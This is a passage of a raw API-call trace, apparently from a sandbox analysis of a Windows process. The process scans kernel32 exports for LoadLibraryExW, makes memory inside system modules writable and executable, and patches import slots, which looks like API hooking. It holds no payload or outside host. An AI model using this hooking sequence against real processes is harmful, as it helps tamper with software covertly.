lpString2="LoadLibraryExW") returned -1 [0079.536] lstrcmpA (lpString1="BaseFlushAppcompatCache", lpString2="LoadLibraryExW") returned -1 [0079.536] lstrcmpA (lpString1="BaseFormatObjectAttributes", lpString2="LoadLibraryExW") returned -1 [0079.536] lstrcmpA (lpString1="BaseFormatTimeOut", lpString2="LoadLibraryExW") returned -1 [0079.536] lstrcmpA (lpString1="BaseGenerateAppCompatData", lpString2="LoadLibraryExW") returned -1 [0079.536] lstrcmpA (lpString1="BaseGetNamedObjectDirectory", lpString2="LoadLibraryExW") returned -1 [0079.536] lstrcmpA (lpString1="BaseInitAppcompatCacheSupport", lpString2="LoadLibraryExW") returned -1 [0079.536] lstrcmpA (lpString1="BaseIsAppcompatInfrastructureDisabled", lpString2="LoadLibraryExW") returned -1 [0079.536] lstrcmpA (lpString1="BaseQueryModuleData", lpString2="LoadLibraryExW") returned -1 [0079.537] lstrcmpA (lpString1="BaseSetLastNTError", lpString2="LoadLibraryExW") returned -1 [0079.537] lstrcmpA (lpString1="BaseThreadInitThunk", lpString2="LoadLibraryExW") returned -1 [0079.537] lstrcmpA (lpString1="BaseUpdateAppcompatCache", lpString2="LoadLibraryExW") returned -1 [0079.537] lstrcmpA (lpString1="BaseVerifyUnicodeString", lpString2="LoadLibraryExW") returned -1 [0079.537] lstrcmpA (lpString1="Basep8BitStringToDynamicUnicodeString", lpString2="LoadLibraryExW") returned -1 [0079.537] lstrcmpA (lpString1="BasepAllocateActivationContextActivationBlock", lpString2="LoadLibraryExW") returned -1 [0079.537] lstrcmpA (lpString1="BasepAnsiStringToDynamicUnicodeString", lpString2="LoadLibraryExW") returned -1 [0079.537] lstrcmpA (lpString1="BasepCheckAppCompat", lpString2="LoadLibraryExW") returned -1 [0079.537] lstrcmpA (lpString1="BasepCheckBadapp", lpString2="LoadLibraryExW") returned -1 [0079.537] lstrcmpA (lpString1="BasepCheckWinSaferRestrictions", lpString2="LoadLibraryExW") returned -1 [0079.537] lstrcmpA (lpString1="BasepFreeActivationContextActivationBlock", lpString2="LoadLibraryExW") returned -1 [0079.537] lstrcmpA (lpString1="BasepFreeAppCompatData", lpString2="LoadLibraryExW") returned -1 [0079.537] lstrcmpA (lpString1="BasepMapModuleHandle", lpString2="LoadLibraryExW") returned -1 [0079.537] lstrcmpA (lpString1="Beep", lpString2="LoadLibraryExW") returned -1 [0079.537] lstrcmpA (lpString1="BeginUpdateResourceA", lpString2="LoadLibraryExW") returned -1 [0079.537] lstrcmpA (lpString1="BeginUpdateResourceW", lpString2="LoadLibraryExW") returned -1 [0079.537] lstrcmpA (lpString1="BindIoCompletionCallback", lpString2="LoadLibraryExW") returned -1 [0079.537] lstrcmpA (lpString1="BuildCommDCBA", lpString2="LoadLibraryExW") returned -1 [0079.537] lstrcmpA (lpString1="BuildCommDCBAndTimeoutsA", lpString2="LoadLibraryExW") returned -1 [0079.537] lstrcmpA (lpString1="BuildCommDCBAndTimeoutsW", lpString2="LoadLibraryExW") returned -1 [0079.537] lstrcmpA (lpString1="BuildCommDCBW", lpString2="LoadLibraryExW") returned -1 [0079.537] lstrcmpA (lpString1="CallNamedPipeA", lpString2="LoadLibraryExW") returned -1 [0079.537] lstrcmpA (lpString1="CallNamedPipeW", lpString2="LoadLibraryExW") returned -1 [0079.537] lstrcmpA (lpString1="CallbackMayRunLong", lpString2="LoadLibraryExW") returned -1 [0079.537] lstrcmpA (lpString1="CancelDeviceWakeupRequest", lpString2="LoadLibraryExW") returned -1 [0079.537] lstrcmpA (lpString1="CancelIo", lpString2="LoadLibraryExW") returned -1 [0079.537] lstrcmpA (lpString1="CancelIoEx", lpString2="LoadLibraryExW") returned -1 [0079.537] lstrcmpA (lpString1="CancelSynchronousIo", lpString2="LoadLibraryExW") returned -1 [0079.537] lstrcmpA (lpString1="CancelThreadpoolIo", lpString2="LoadLibraryExW") returned -1 [0079.537] lstrcmpA (lpString1="CancelTimerQueueTimer", lpString2="LoadLibraryExW") returned -1 [0079.537] lstrcmpA (lpString1="CancelWaitableTimer", lpString2="LoadLibraryExW") returned -1 [0079.537] lstrcmpA (lpString1="ChangeTimerQueueTimer", lpString2="LoadLibraryExW") returned -1 [0079.537] lstrcmpA (lpString1="CheckElevation", lpString2="LoadLibraryExW") returned -1 [0079.537] lstrcmpA (lpString1="CheckElevationEnabled", lpString2="LoadLibraryExW") returned -1 [0079.537] lstrcmpA (lpString1="CheckForReadOnlyResource", lpString2="LoadLibraryExW") returned -1 [0079.537] lstrcmpA (lpString1="CheckNameLegalDOS8Dot3A", lpString2="LoadLibraryExW") returned -1 [0079.537] lstrcmpA (lpString1="CheckNameLegalDOS8Dot3W", lpString2="LoadLibraryExW") returned -1 [0079.537] lstrcmpA (lpString1="CheckRemoteDebuggerPresent", lpString2="LoadLibraryExW") returned -1 [0079.537] lstrcmpA (lpString1="ClearCommBreak", lpString2="LoadLibraryExW") returned -1 [0079.537] lstrcmpA (lpString1="ClearCommError", lpString2="LoadLibraryExW") returned -1 [0079.538] lstrcmpA (lpString1="CloseConsoleHandle", lpString2="LoadLibraryExW") returned -1 [0079.538] lstrcmpA (lpString1="CloseHandle", lpString2="LoadLibraryExW") returned -1 [0079.538] lstrcmpA (lpString1="ClosePrivateNamespace", lpString2="LoadLibraryExW") returned -1 [0079.538] lstrcmpA (lpString1="CloseProfileUserMapping", lpString2="LoadLibraryExW") returned -1 [0079.538] lstrcmpA (lpString1="CloseThreadpool", lpString2="LoadLibraryExW") returned -1 [0079.538] lstrcmpA (lpString1="CloseThreadpoolCleanupGroup", lpString2="LoadLibraryExW") returned -1 [0079.538] lstrcmpA (lpString1="CloseThreadpoolCleanupGroupMembers", lpString2="LoadLibraryExW") returned -1 [0079.538] lstrcmpA (lpString1="CloseThreadpoolIo", lpString2="LoadLibraryExW") returned -1 [0079.538] lstrcmpA (lpString1="CloseThreadpoolTimer", lpString2="LoadLibraryExW") returned -1 [0079.538] lstrcmpA (lpString1="CloseThreadpoolWait", lpString2="LoadLibraryExW") returned -1 [0079.538] lstrcmpA (lpString1="CloseThreadpoolWork", lpString2="LoadLibraryExW") returned -1 [0079.538] lstrcmpA (lpString1="CmdBatNotification", lpString2="LoadLibraryExW") returned -1 [0079.538] lstrcmpA (lpString1="CommConfigDialogA", lpString2="LoadLibraryExW") returned -1 [0079.538] lstrcmpA (lpString1="CommConfigDialogW", lpString2="LoadLibraryExW") returned -1 [0079.538] lstrcmpA (lpString1="CompareCalendarDates", lpString2="LoadLibraryExW") returned -1 [0079.538] lstrcmpA (lpString1="CompareFileTime", lpString2="LoadLibraryExW") returned -1 [0079.538] lstrcmpA (lpString1="CompareStringA", lpString2="LoadLibraryExW") returned -1 [0079.538] lstrcmpA (lpString1="CompareStringEx", lpString2="LoadLibraryExW") returned -1 [0079.538] lstrcmpA (lpString1="CompareStringOrdinal", lpString2="LoadLibraryExW") returned -1 [0079.538] lstrcmpA (lpString1="CompareStringW", lpString2="LoadLibraryExW") returned -1 [0079.538] lstrcmpA (lpString1="ConnectNamedPipe", lpString2="LoadLibraryExW") returned -1 [0079.538] lstrcmpA (lpString1="ConsoleMenuControl", lpString2="LoadLibraryExW") returned -1 [0079.538] lstrcmpA (lpString1="ContinueDebugEvent", lpString2="LoadLibraryExW") returned -1 [0079.538] lstrcmpA (lpString1="ConvertCalDateTimeToSystemTime", lpString2="LoadLibraryExW") returned -1 [0079.538] lstrcmpA (lpString1="ConvertDefaultLocale", lpString2="LoadLibraryExW") returned -1 [0079.538] lstrcmpA (lpString1="ConvertFiberToThread", lpString2="LoadLibraryExW") returned -1 [0079.538] lstrcmpA (lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek", lpString2="LoadLibraryExW") returned -1 [0079.538] lstrcmpA (lpString1="ConvertSystemTimeToCalDateTime", lpString2="LoadLibraryExW") returned -1 [0079.538] lstrcmpA (lpString1="ConvertThreadToFiber", lpString2="LoadLibraryExW") returned -1 [0079.538] lstrcmpA (lpString1="ConvertThreadToFiberEx", lpString2="LoadLibraryExW") returned -1 [0079.538] lstrcmpA (lpString1="CopyContext", lpString2="LoadLibraryExW") returned -1 [0079.538] lstrcmpA (lpString1="CopyFileA", lpString2="LoadLibraryExW") returned -1 [0079.538] lstrcmpA (lpString1="CopyFileExA", lpString2="LoadLibraryExW") returned -1 [0079.538] lstrcmpA (lpString1="CopyFileExW", lpString2="LoadLibraryExW") returned -1 [0079.538] lstrcmpA (lpString1="CopyFileTransactedA", lpString2="LoadLibraryExW") returned -1 [0079.538] lstrcmpA (lpString1="CopyFileTransactedW", lpString2="LoadLibraryExW") returned -1 [0079.538] lstrcmpA (lpString1="CopyFileW", lpString2="LoadLibraryExW") returned -1 [0079.538] lstrcmpA (lpString1="CopyLZFile", lpString2="LoadLibraryExW") returned -1 [0079.538] lstrcmpA (lpString1="CreateActCtxA", lpString2="LoadLibraryExW") returned -1 [0079.538] lstrcmpA (lpString1="CreateActCtxW", lpString2="LoadLibraryExW") returned -1 [0079.539] lstrcmpA (lpString1="CreateBoundaryDescriptorA", lpString2="LoadLibraryExW") returned -1 [0079.539] lstrcmpA (lpString1="CreateBoundaryDescriptorW", lpString2="LoadLibraryExW") returned -1 [0079.539] lstrcmpA (lpString1="CreateConsoleScreenBuffer", lpString2="LoadLibraryExW") returned -1 [0079.539] lstrcmpA (lpString1="CreateDirectoryA", lpString2="LoadLibraryExW") returned -1 [0079.539] lstrcmpA (lpString1="CreateDirectoryExA", lpString2="LoadLibraryExW") returned -1 [0079.539] lstrcmpA (lpString1="CreateDirectoryExW", lpString2="LoadLibraryExW") returned -1 [0079.539] lstrcmpA (lpString1="CreateDirectoryTransactedA", lpString2="LoadLibraryExW") returned -1 [0079.539] lstrcmpA (lpString1="CreateDirectoryTransactedW", lpString2="LoadLibraryExW") returned -1 [0079.539] lstrcmpA (lpString1="CreateDirectoryW", lpString2="LoadLibraryExW") returned -1 [0079.539] lstrcmpA (lpString1="CreateEventA", lpString2="LoadLibraryExW") returned -1 [0079.539] lstrcmpA (lpString1="CreateEventExA", lpString2="LoadLibraryExW") returned -1 [0079.539] lstrcmpA (lpString1="CreateEventExW", lpString2="LoadLibraryExW") returned -1 [0079.539] lstrcmpA (lpString1="CreateEventW", lpString2="LoadLibraryExW") returned -1 [0079.539] lstrcmpA (lpString1="CreateFiber", lpString2="LoadLibraryExW") returned -1 [0079.539] lstrcmpA (lpString1="CreateFiberEx", lpString2="LoadLibraryExW") returned -1 [0079.539] lstrcmpA (lpString1="CreateFileA", lpString2="LoadLibraryExW") returned -1 [0079.539] lstrcmpA (lpString1="CreateFileMappingA", lpString2="LoadLibraryExW") returned -1 [0079.539] lstrcmpA (lpString1="CreateFileMappingNumaA", lpString2="LoadLibraryExW") returned -1 [0079.539] lstrcmpA (lpString1="CreateFileMappingNumaW", lpString2="LoadLibraryExW") returned -1 [0079.539] lstrcmpA (lpString1="CreateFileMappingW", lpString2="LoadLibraryExW") returned -1 [0079.539] lstrcmpA (lpString1="CreateFileTransactedA", lpString2="LoadLibraryExW") returned -1 [0079.539] lstrcmpA (lpString1="CreateFileTransactedW", lpString2="LoadLibraryExW") returned -1 [0079.539] lstrcmpA (lpString1="CreateFileW", lpString2="LoadLibraryExW") returned -1 [0079.539] lstrcmpA (lpString1="CreateHardLinkA", lpString2="LoadLibraryExW") returned -1 [0079.539] lstrcmpA (lpString1="CreateHardLinkTransactedA", lpString2="LoadLibraryExW") returned -1 [0079.539] lstrcmpA (lpString1="CreateHardLinkTransactedW", lpString2="LoadLibraryExW") returned -1 [0079.539] lstrcmpA (lpString1="CreateHardLinkW", lpString2="LoadLibraryExW") returned -1 [0079.539] lstrcmpA (lpString1="CreateIoCompletionPort", lpString2="LoadLibraryExW") returned -1 [0079.539] lstrcmpA (lpString1="CreateJobObjectA", lpString2="LoadLibraryExW") returned -1 [0079.539] lstrcmpA (lpString1="CreateJobObjectW", lpString2="LoadLibraryExW") returned -1 [0079.539] lstrcmpA (lpString1="CreateJobSet", lpString2="LoadLibraryExW") returned -1 [0079.539] lstrcmpA (lpString1="CreateMailslotA", lpString2="LoadLibraryExW") returned -1 [0079.539] lstrcmpA (lpString1="CreateMailslotW", lpString2="LoadLibraryExW") returned -1 [0079.539] lstrcmpA (lpString1="CreateMemoryResourceNotification", lpString2="LoadLibraryExW") returned -1 [0079.539] lstrcmpA (lpString1="CreateMutexA", lpString2="LoadLibraryExW") returned -1 [0079.539] lstrcmpA (lpString1="CreateMutexExA", lpString2="LoadLibraryExW") returned -1 [0079.539] lstrcmpA (lpString1="CreateMutexExW", lpString2="LoadLibraryExW") returned -1 [0079.539] lstrcmpA (lpString1="CreateMutexW", lpString2="LoadLibraryExW") returned -1 [0079.539] lstrcmpA (lpString1="CreateNamedPipeA", lpString2="LoadLibraryExW") returned -1 [0079.539] lstrcmpA (lpString1="CreateNamedPipeW", lpString2="LoadLibraryExW") returned -1 [0079.539] lstrcmpA (lpString1="CreatePipe", lpString2="LoadLibraryExW") returned -1 [0079.540] lstrcmpA (lpString1="CreatePrivateNamespaceA", lpString2="LoadLibraryExW") returned -1 [0079.540] lstrcmpA (lpString1="CreatePrivateNamespaceW", lpString2="LoadLibraryExW") returned -1 [0079.540] lstrcmpA (lpString1="CreateProcessA", lpString2="LoadLibraryExW") returned -1 [0079.540] lstrcmpA (lpString1="CreateProcessAsUserW", lpString2="LoadLibraryExW") returned -1 [0079.540] lstrcmpA (lpString1="CreateProcessInternalA", lpString2="LoadLibraryExW") returned -1 [0079.540] lstrcmpA (lpString1="CreateProcessInternalW", lpString2="LoadLibraryExW") returned -1 [0079.540] lstrcmpA (lpString1="CreateProcessW", lpString2="LoadLibraryExW") returned -1 [0079.540] lstrcmpA (lpString1="CreateRemoteThread", lpString2="LoadLibraryExW") returned -1 [0079.540] lstrcmpA (lpString1="CreateRemoteThreadEx", lpString2="LoadLibraryExW") returned -1 [0079.540] lstrcmpA (lpString1="CreateSemaphoreA", lpString2="LoadLibraryExW") returned -1 [0079.540] lstrcmpA (lpString1="CreateSemaphoreExA", lpString2="LoadLibraryExW") returned -1 [0079.540] lstrcmpA (lpString1="CreateSemaphoreExW", lpString2="LoadLibraryExW") returned -1 [0079.540] lstrcmpA (lpString1="CreateSemaphoreW", lpString2="LoadLibraryExW") returned -1 [0079.540] lstrcmpA (lpString1="CreateSymbolicLinkA", lpString2="LoadLibraryExW") returned -1 [0079.540] lstrcmpA (lpString1="CreateSymbolicLinkTransactedA", lpString2="LoadLibraryExW") returned -1 [0079.540] lstrcmpA (lpString1="CreateSymbolicLinkTransactedW", lpString2="LoadLibraryExW") returned -1 [0079.540] lstrcmpA (lpString1="CreateSymbolicLinkW", lpString2="LoadLibraryExW") returned -1 [0079.540] lstrcmpA (lpString1="CreateTapePartition", lpString2="LoadLibraryExW") returned -1 [0079.540] lstrcmpA (lpString1="CreateThread", lpString2="LoadLibraryExW") returned -1 [0079.540] lstrcmpA (lpString1="CreateThreadpool", lpString2="LoadLibraryExW") returned -1 [0079.540] lstrcmpA (lpString1="CreateThreadpoolCleanupGroup", lpString2="LoadLibraryExW") returned -1 [0079.540] lstrcmpA (lpString1="CreateThreadpoolIo", lpString2="LoadLibraryExW") returned -1 [0079.540] lstrcmpA (lpString1="CreateThreadpoolTimer", lpString2="LoadLibraryExW") returned -1 [0079.540] lstrcmpA (lpString1="CreateThreadpoolWait", lpString2="LoadLibraryExW") returned -1 [0079.540] lstrcmpA (lpString1="CreateThreadpoolWork", lpString2="LoadLibraryExW") returned -1 [0079.540] lstrcmpA (lpString1="CreateTimerQueue", lpString2="LoadLibraryExW") returned -1 [0079.540] lstrcmpA (lpString1="CreateTimerQueueTimer", lpString2="LoadLibraryExW") returned -1 [0079.540] lstrcmpA (lpString1="CreateToolhelp32Snapshot", lpString2="LoadLibraryExW") returned -1 [0079.540] lstrcmpA (lpString1="CreateUmsCompletionList", lpString2="LoadLibraryExW") returned -1 [0079.540] lstrcmpA (lpString1="CreateUmsThreadContext", lpString2="LoadLibraryExW") returned -1 [0079.540] lstrcmpA (lpString1="CreateWaitableTimerA", lpString2="LoadLibraryExW") returned -1 [0079.540] lstrcmpA (lpString1="CreateWaitableTimerExA", lpString2="LoadLibraryExW") returned -1 [0079.540] lstrcmpA (lpString1="CreateWaitableTimerExW", lpString2="LoadLibraryExW") returned -1 [0079.540] lstrcmpA (lpString1="CreateWaitableTimerW", lpString2="LoadLibraryExW") returned -1 [0079.540] lstrcmpA (lpString1="CtrlRoutine", lpString2="LoadLibraryExW") returned -1 [0079.540] lstrcmpA (lpString1="DeactivateActCtx", lpString2="LoadLibraryExW") returned -1 [0079.540] lstrcmpA (lpString1="DebugActiveProcess", lpString2="LoadLibraryExW") returned -1 [0079.540] lstrcmpA (lpString1="DebugActiveProcessStop", lpString2="LoadLibraryExW") returned -1 [0079.540] lstrcmpA (lpString1="DebugBreak", lpString2="LoadLibraryExW") returned -1 [0079.540] lstrcmpA (lpString1="DebugBreakProcess", lpString2="LoadLibraryExW") returned -1 [0079.541] lstrcmpA (lpString1="DebugSetProcessKillOnExit", lpString2="LoadLibraryExW") returned -1 [0079.541] lstrcmpA (lpString1="DecodePointer", lpString2="LoadLibraryExW") returned -1 [0079.541] lstrcmpA (lpString1="DecodeSystemPointer", lpString2="LoadLibraryExW") returned -1 [0079.541] lstrcmpA (lpString1="DefineDosDeviceA", lpString2="LoadLibraryExW") returned -1 [0079.541] lstrcmpA (lpString1="DefineDosDeviceW", lpString2="LoadLibraryExW") returned -1 [0079.541] lstrcmpA (lpString1="DelayLoadFailureHook", lpString2="LoadLibraryExW") returned -1 [0079.541] lstrcmpA (lpString1="DeleteAtom", lpString2="LoadLibraryExW") returned -1 [0079.541] lstrcmpA (lpString1="DeleteBoundaryDescriptor", lpString2="LoadLibraryExW") returned -1 [0079.541] lstrcmpA (lpString1="DeleteCriticalSection", lpString2="LoadLibraryExW") returned -1 [0079.541] lstrcmpA (lpString1="DeleteFiber", lpString2="LoadLibraryExW") returned -1 [0079.541] lstrcmpA (lpString1="DeleteFileA", lpString2="LoadLibraryExW") returned -1 [0079.541] lstrcmpA (lpString1="DeleteFileTransactedA", lpString2="LoadLibraryExW") returned -1 [0079.541] lstrcmpA (lpString1="DeleteFileTransactedW", lpString2="LoadLibraryExW") returned -1 [0079.541] lstrcmpA (lpString1="DeleteFileW", lpString2="LoadLibraryExW") returned -1 [0079.541] lstrcmpA (lpString1="DeleteProcThreadAttributeList", lpString2="LoadLibraryExW") returned -1 [0079.541] lstrcmpA (lpString1="DeleteTimerQueue", lpString2="LoadLibraryExW") returned -1 [0079.541] lstrcmpA (lpString1="DeleteTimerQueueEx", lpString2="LoadLibraryExW") returned -1 [0079.541] lstrcmpA (lpString1="DeleteTimerQueueTimer", lpString2="LoadLibraryExW") returned -1 [0079.541] lstrcmpA (lpString1="DeleteUmsCompletionList", lpString2="LoadLibraryExW") returned -1 [0079.541] lstrcmpA (lpString1="DeleteUmsThreadContext", lpString2="LoadLibraryExW") returned -1 [0079.541] lstrcmpA (lpString1="DeleteVolumeMountPointA", lpString2="LoadLibraryExW") returned -1 [0079.541] lstrcmpA (lpString1="DeleteVolumeMountPointW", lpString2="LoadLibraryExW") returned -1 [0079.541] lstrcmpA (lpString1="DequeueUmsCompletionListItems", lpString2="LoadLibraryExW") returned -1 [0079.541] lstrcmpA (lpString1="DeviceIoControl", lpString2="LoadLibraryExW") returned -1 [0079.541] lstrcmpA (lpString1="DisableThreadLibraryCalls", lpString2="LoadLibraryExW") returned -1 [0079.541] lstrcmpA (lpString1="DisableThreadProfiling", lpString2="LoadLibraryExW") returned -1 [0079.541] lstrcmpA (lpString1="DisassociateCurrentThreadFromCallback", lpString2="LoadLibraryExW") returned -1 [0079.541] lstrcmpA (lpString1="DisconnectNamedPipe", lpString2="LoadLibraryExW") returned -1 [0079.541] lstrcmpA (lpString1="DnsHostnameToComputerNameA", lpString2="LoadLibraryExW") returned -1 [0079.541] lstrcmpA (lpString1="DnsHostnameToComputerNameW", lpString2="LoadLibraryExW") returned -1 [0079.541] lstrcmpA (lpString1="DosDateTimeToFileTime", lpString2="LoadLibraryExW") returned -1 [0079.541] lstrcmpA (lpString1="DosPathToSessionPathA", lpString2="LoadLibraryExW") returned -1 [0079.541] lstrcmpA (lpString1="DosPathToSessionPathW", lpString2="LoadLibraryExW") returned -1 [0079.541] lstrcmpA (lpString1="DuplicateConsoleHandle", lpString2="LoadLibraryExW") returned -1 [0079.541] lstrcmpA (lpString1="DuplicateHandle", lpString2="LoadLibraryExW") returned -1 [0079.541] lstrcmpA (lpString1="EnableThreadProfiling", lpString2="LoadLibraryExW") returned -1 [0079.541] lstrcmpA (lpString1="EncodePointer", lpString2="LoadLibraryExW") returned -1 [0079.541] lstrcmpA (lpString1="EncodeSystemPointer", lpString2="LoadLibraryExW") returned -1 [0079.541] lstrcmpA (lpString1="EndUpdateResourceA", lpString2="LoadLibraryExW") returned -1 [0079.541] lstrcmpA (lpString1="EndUpdateResourceW", lpString2="LoadLibraryExW") returned -1 [0079.542] lstrcmpA (lpString1="EnterCriticalSection", lpString2="LoadLibraryExW") returned -1 [0079.542] lstrcmpA (lpString1="EnterUmsSchedulingMode", lpString2="LoadLibraryExW") returned -1 [0079.542] lstrcmpA (lpString1="EnumCalendarInfoA", lpString2="LoadLibraryExW") returned -1 [0079.542] lstrcmpA (lpString1="EnumCalendarInfoExA", lpString2="LoadLibraryExW") returned -1 [0079.542] lstrcmpA (lpString1="EnumCalendarInfoExEx", lpString2="LoadLibraryExW") returned -1 [0079.542] lstrcmpA (lpString1="EnumCalendarInfoExW", lpString2="LoadLibraryExW") returned -1 [0079.542] lstrcmpA (lpString1="EnumCalendarInfoW", lpString2="LoadLibraryExW") returned -1 [0079.542] VirtualProtect (in: lpAddress=0x770e0d68, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x27ece8 | out: lpflOldProtect=0x27ece8*=0x2) returned 1 [0079.542] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x18) returned 0x2020fb0 [0079.542] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x18) returned 0x241ff90 [0079.542] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020fb0 | out: hHeap=0x2020000) returned 1 [0079.542] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x241ff90 | out: hHeap=0x2020000) returned 1 [0079.542] VirtualProtect (in: lpAddress=0x770dbc2a, dwSize=0xe, flNewProtect=0x40, lpflOldProtect=0x27ece0 | out: lpflOldProtect=0x27ece0*=0x20) returned 1 [0079.543] VirtualProtect (in: lpAddress=0x770dbc2a, dwSize=0xe, flNewProtect=0x20, lpflOldProtect=0x27ece0 | out: lpflOldProtect=0x27ece0*=0x40) returned 1 [0079.543] VirtualProtect (in: lpAddress=0x770e0d68, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x27ece8 | out: lpflOldProtect=0x27ece8*=0x40) returned 1 [0079.543] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ec80, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ec80, ReturnLength=0x0) returned 0x0 [0079.543] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1000) returned 0x241ee30 [0079.543] EnumProcessModules (in: hProcess=0xffffffffffffffff, lphModule=0x241ee30, cb=0x1000, lpcbNeeded=0x27ed88 | out: lphModule=0x241ee30, lpcbNeeded=0x27ed88) returned 1 [0079.543] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x13f510000, lpBuffer=0x27eda0, dwLength=0x30 | out: lpBuffer=0x27eda0*(BaseAddress=0x13f510000, AllocationBase=0x13f510000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.543] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ecd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ecd0, ReturnLength=0x0) returned 0x0 [0079.544] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x241c080 [0079.544] lstrcmpiA (lpString1="chrome_elf.dll", lpString2="KERNEL32.DLL") returned -1 [0079.544] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="KERNEL32.DLL") returned -1 [0079.544] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0079.544] lstrcmpiA (lpString1="GetThreadLocale", lpString2="LoadLibraryExW") returned -1 [0079.544] lstrcmpiA (lpString1="GetSystemDefaultLCID", lpString2="LoadLibraryExW") returned -1 [0079.544] lstrcmpiA (lpString1="GetModuleFileNameW", lpString2="LoadLibraryExW") returned -1 [0079.544] lstrcmpiA (lpString1="GetModuleHandleA", lpString2="LoadLibraryExW") returned -1 [0079.544] lstrcmpiA (lpString1="GetProcAddress", lpString2="LoadLibraryExW") returned -1 [0079.544] lstrcmpiA (lpString1="SetLastError", lpString2="LoadLibraryExW") returned 1 [0079.544] lstrcmpiA (lpString1="GetCurrentThreadId", lpString2="LoadLibraryExW") returned -1 [0079.544] lstrcmpiA (lpString1="CreateEventW", lpString2="LoadLibraryExW") returned -1 [0079.544] lstrcmpiA (lpString1="GetLastError", lpString2="LoadLibraryExW") returned -1 [0079.544] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="LoadLibraryExW") returned -1 [0079.544] lstrcmpiA (lpString1="GetProcessId", lpString2="LoadLibraryExW") returned -1 [0079.544] lstrcmpiA (lpString1="WaitForSingleObject", lpString2="LoadLibraryExW") returned 1 [0079.544] lstrcmpiA (lpString1="DuplicateHandle", lpString2="LoadLibraryExW") returned -1 [0079.544] lstrcmpiA (lpString1="SetProcessShutdownParameters", lpString2="LoadLibraryExW") returned 1 [0079.544] lstrcmpiA (lpString1="SetCurrentDirectoryW", lpString2="LoadLibraryExW") returned 1 [0079.544] lstrcmpiA (lpString1="LoadLibraryExW", lpString2="LoadLibraryExW") returned 0 [0079.544] VirtualProtect (in: lpAddress=0x13f5d3188, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x27ecd0 | out: lpflOldProtect=0x27ecd0*=0x2) returned 1 [0079.544] VirtualProtect (in: lpAddress=0x13f5d3188, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x27ecd0 | out: lpflOldProtect=0x27ecd0*=0x40) returned 1 [0079.545] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x77160000, lpBuffer=0x27eda0, dwLength=0x30 | out: lpBuffer=0x27eda0*(BaseAddress=0x77160000, AllocationBase=0x77160000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.545] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ecd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ecd0, ReturnLength=0x0) returned 0x0 [0079.545] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x77040000, lpBuffer=0x27eda0, dwLength=0x30 | out: lpBuffer=0x27eda0*(BaseAddress=0x77040000, AllocationBase=0x77040000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.545] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ecd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ecd0, ReturnLength=0x0) returned 0x0 [0079.545] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd330000, lpBuffer=0x27eda0, dwLength=0x30 | out: lpBuffer=0x27eda0*(BaseAddress=0x7fefd330000, AllocationBase=0x7fefd330000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.545] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ecd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ecd0, ReturnLength=0x0) returned 0x0 [0079.545] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef4ab0000, lpBuffer=0x27eda0, dwLength=0x30 | out: lpBuffer=0x27eda0*(BaseAddress=0x7fef4ab0000, AllocationBase=0x7fef4ab0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.545] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ecd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ecd0, ReturnLength=0x0) returned 0x0 [0079.545] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x241c0f0 [0079.545] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0079.545] lstrcmpiA (lpString1="GetProcAddress", lpString2="LoadLibraryExW") returned -1 [0079.545] lstrcmpiA (lpString1="VerSetConditionMask", lpString2="LoadLibraryExW") returned 1 [0079.545] lstrcmpiA (lpString1="GetModuleHandleW", lpString2="LoadLibraryExW") returned -1 [0079.545] lstrcmpiA 